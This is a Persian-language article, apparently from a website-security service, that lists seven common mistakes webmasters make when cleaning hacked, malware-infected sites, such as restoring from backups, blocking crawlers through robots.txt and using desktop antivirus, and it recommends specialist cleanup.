شما با مشکل خود تنها می مانید و سعی می کنید آن را به تنهایی حل کنید، بدون اینکه به متخصصان مراجعه کنید، اما توصیه های "متخصصان" از انجمن ها را دنبال کنید. یا در جایی که "ارزان تر" است، درمان سایت را سفارش دهید. چه باید کرد، زیرا همیشه می خواهید مشکل را در سریع ترین زمان ممکن و با کمترین هزینه حل کنید. اما آیا این رویکرد همیشه موجه است؟

ما 7 اشتباه برتر سال گذشته را که مدیران وب سایت در تلاش برای بازیابی سایت پس از هک و آلوده شدن مرتکب شدند، به شما معرفی می کنیم.

اشتباه شماره 1 بازیابی یک وب سایت از یک نسخه پشتیبان به عنوان راهی برای خلاص شدن از شر کدهای مخرب

اغلب وب مسترها سعی می کنند با برگرداندن سایت به آخرین نسخه تمیز، مشکل آلوده شدن سایت با کدهای مخرب را حل کنند. و آنها به بازیابی پروژه وب هر بار به محض اینکه دوباره ویروس در سایت خود را احساس کرد، ادامه می دهند. افسوس، این یک گزینه ناخوشایند و بسیار خطرناک است.

راه حل صحیح: سایت باید ضد عفونی شده و از هک محافظت شود تا از عفونت مجدد جلوگیری شود. ابتدا می توان محتوای سایت را به روز کرد، افزونه های جدید را می توان در سایت نصب کرد، تغییراتی در اسکریپت های سایت ایجاد کرد. هر بازگشت به این معنی است که شما نتایج زحمات تمام روزهای آخر را از دست می دهید. اما بیشتر وجود دارد دلیل مهمبرای مبارزه رادیکال با هک: اگر روزی یک هکر تصمیم بگیرد سایت شما را به طور کامل نابود کند، زیرا به منبع وب شما دسترسی دارد، چه؟

اشتباه شماره 2 فریب موتور جستجو برای خروج سایت از تحریم

این سایت به دلیل وجود ویروس در سایت یا تغییر مسیر بازدیدکنندگان به یک منبع آلوده، در لیست "تهدید امنیت رایانه یا دستگاه تلفن همراه ..." قرار دارد. پنل مدیر وب سایت نمونه هایی از صفحات آلوده را نمایش می دهد، اما یک وب مستر حیله گر یا نادان، به جای حل مشکل (پیدا کردن و حذف منبع کدهای مخرب)، برخی از صفحاتی را که موتورهای جستجو در نمونه های آلوده نشان می دهند، حذف می کند. یا، در عوض، دسترسی به سایت را با استفاده از قوانین موجود در robots.txt کاملاً مسدود می کنند و ساده لوحانه معتقدند که این کار دسترسی ربات ضد ویروس به سایت را نیز مسدود می کند.

راه حل صحیح: باید کد ویروس را در سایت پیدا کنید و آن را حذف کنید. ممنوعیت نمایه سازی نه تنها بی فایده است، بلکه خطرناک است. اولا، صفحات سایت ممکن است از فهرست جستجو خارج شوند. خوب و ثانیاً ربات سرویس آنتی ویروس طبق قوانینی کار می کند که با قوانین موتور جستجو متفاوت است و ممنوعیت نمایه سازی به هیچ وجه بر آن تأثیر نمی گذارد.

اشتباه شماره 3 استفاده از اسکنر بدافزار توسط متخصصان نالایق

به منظور صرفه جویی در هزینه یا به دلایل دیگر، یک متخصص ناکافی آموزش دیده شروع به ضد عفونی کردن سایت می کند، که نمی تواند 100٪ تشخیص دهد که آیا قطعه برجسته شده توسط اسکنر کد مخرب واقعا خطرناک است. در نتیجه، دو حالت افراطی قابل مشاهده است: مطلقاً تمام سوء ظن ها در مورد یک ویروس حذف می شود، که منجر به خرابی سایت می شود، یا کد مخرب به طور کامل حذف نمی شود، که باعث عود می شود.

تصمیم درست: بدیهی است که متخصصان باید با درمان یک منبع وب سروکار داشته باشند. در گزارش اسکنرهای بدافزار نکات مثبت کاذب وجود دارد، زیرا از همان قطعه می توان هم در کد قانونی و هم در کد هکر استفاده کرد. شما باید هر فایل را تجزیه و تحلیل کنید، در غیر این صورت می توانید عناصر مهم را حذف کنید، که می تواند منجر به اختلال در عملکرد سایت یا خرابی کامل آن شود. یا برعکس، خطر عدم شناسایی پوسته هکر وجود دارد که منجر به آلوده شدن مجدد منبع وب می شود.

اشتباه شماره 4 نادیده گرفتن پیام ها (در پنل مدیر وب سایت) در مورد وجود کدهای مخرب در سایت

اطلاع از وجود کد مخرب در سایت در پنل مدیر وب سایت ممکن است متناوب باشد. امروز سیستم می نویسد که یک ویروس در سایت شما وجود دارد و فردا ساکت است. برای صاحب سایت خوشایندتر است که فکر کند نوعی خرابی در سیستم رخ داده است و سایت او خارج از هر شبهه ای است. با این حال، در عمل این مورد نیست. انواع مختلفی از عفونت وجود دارد. کدهای مخرب می توانند فقط برای مدتی در سایت ظاهر شوند و سپس ناپدید شوند. این بدان معنی است که در بررسی بعدی سایت توسط ربات آنتی ویروس موتور جستجوبدافزار قابل شناسایی است، اما نه با دیگری. در نتیجه، مدیر وب سایت "آرام می شود" و شروع به نادیده گرفتن این پیام خطرناک می کند: "چرا وقت خود را برای درمان تلف کنیم، زیرا سایت مسدود نشده است."

راه حل صحیح: اگر فعالیت مخربی در سایت مشاهده شد، به احتمال زیاد منبع وب شما هک و آلوده شده است. ویروس ها در سایت به خودی خود ظاهر نمی شوند. این واقعیت که دیروز موتور جستجو کد مشکوکی را در سایت پیدا کرد و سپس "سکوت کرد" نه تنها نباید توسط مدیر وب سایت نادیده گرفته شود، بلکه برعکس، باید به عنوان یک سیگنال هشدار عمل کند. چه کسی می داند فردا چگونه از منبع شما سوء استفاده می شود؟ - هرزنامه، فیشینگ یا تغییر مسیر. شما باید فوراً سایت را از نظر درهای پشتی هکرها، پوسته ها اسکن کنید، آن را درمان کرده و از هک محافظت کنید.

اشتباه شماره 5 درمان وب سایت توسط فریلنسرهای غیر حرفه ای.

اصولاً کار با فریلنسرها در این زمینه هیچ تفاوتی با سایر حوزه ها ندارد. ارزان - نه همیشه با کیفیت بالا، اما تقریباً همیشه بدون ضمانت و روابط قراردادی. اکثر فریلنسرهایی که در زمینه امنیت وب سایت تخصص ندارند، با عواقب حمله هکری کار می کنند، اما نه با علت - آسیب پذیری وب سایت. و این بدان معنی است که سایت می تواند دوباره هک شود. بدتر از آن، اجراکنندگان بی‌وجدانی نیز وجود دارند که می‌توانند کدهای مخرب دیگری را در سایت قرار دهند، پایگاه داده را سرقت کنند و غیره.

راه حل صحیح: با یک شرکت تخصصی که به درمان و محافظت از سایت ها در برابر هک می پردازد، تماس بگیرید. کارمندان چنین شرکت هایی هر روز کدهای مخرب را حذف می کنند، ویروس ها جهش می یابند و سیر تکامل حملات هکرها را دنبال می کنند. بازار تاریک هک ثابت نمی ماند، در حال تحول است و نیاز به نظارت مستمر و پاسخ های مناسب در درمان و محافظت از سایت در برابر نفوذهای غیرمجاز دارد.

اشتباه شماره 6 حذف روزانه/هفتگی همان ویروس از سایت.

این مشکل مربوط به "علاقه مندان" ویژه ای است که آماده اند عواقب هک را به طور منظم از بین ببرند. چنین وب مسترهایی از قبل می دانند که چه کد خاصی در سایت قرار می گیرد، دقیقاً کجا و چه زمانی این اتفاق می افتد. به این ترتیب می‌توانید بی‌وقفه با تغییر مسیر موبایلی که هر روز در ساعت ۰۹-۳۰ توسط مهاجم در فایل htaccess. جاسازی می‌شود مبارزه کنید و شما را تغییر مسیر دهد. ترافیک موبایلبه سایتی که ویاگرا یا محتوای پورنو می فروشد. اما مشکل اینجاست: ربات هکر این کار را به صورت خودکار انجام می دهد و شما باید عملیات حذف را به صورت دستی انجام دهید. این عادلانه نیست، اینطور است؟

راه حل صحیح: شما می توانید به طور بی پایان پیامدها (ویروس ها، تغییر مسیرها و غیره) را حذف کنید، اما بهتر است سایت را برای اسکریپت های مخرب و هکر بررسی کنید، آنها را حذف کنید و محافظت در برابر هک را نصب کنید تا کد ویروس دوباره ظاهر نشود. اوقات فراغت را می توان به نحو احسن سپری کرد. مهمتر از همه، به یاد داشته باشید که یک هکر قبلاً به سایت شما دسترسی دارد، به این معنی که دفعه بعد ممکن است به کد مخربی که می دانید محدود نشود، بلکه از سایت شما برای جرایم سایبری جدی تر استفاده کند.

اشتباه شماره 7 درمان سایت ویروس با آنتی ویروس برای کامپیوتر

مفهوم "آنتی ویروس" برای برخی از وب مسترها جهانی است و آنها سعی می کنند یک سایت هک شده و آلوده را با استفاده از یک آنتی ویروس طراحی شده برای رایانه درمان کنند. از سایت نسخه پشتیبان تهیه شده و با نسخه دسکتاپ نرم افزار آنتی ویروس بررسی می شود. افسوس که چنین درمانی نمی تواند نتایج مطلوب را به همراه داشته باشد.

راه حل صحیح: ویروس های موجود در سایت و کامپیوتر یکسان نیستند. برای بررسی سایت باید از نرم افزارهای تخصصی استفاده کنید یا با متخصصان تماس بگیرید. آنتی ویروس های دسکتاپ، مهم نیست که چقدر خوب هستند، برای درمان وب سایت ها از ویروس ها طراحی نشده اند، زیرا پایگاه داده آنها بر روی ویروس ها و تروجان های رایانه متمرکز است.

همین. روی همان چنگک پا نگذارید!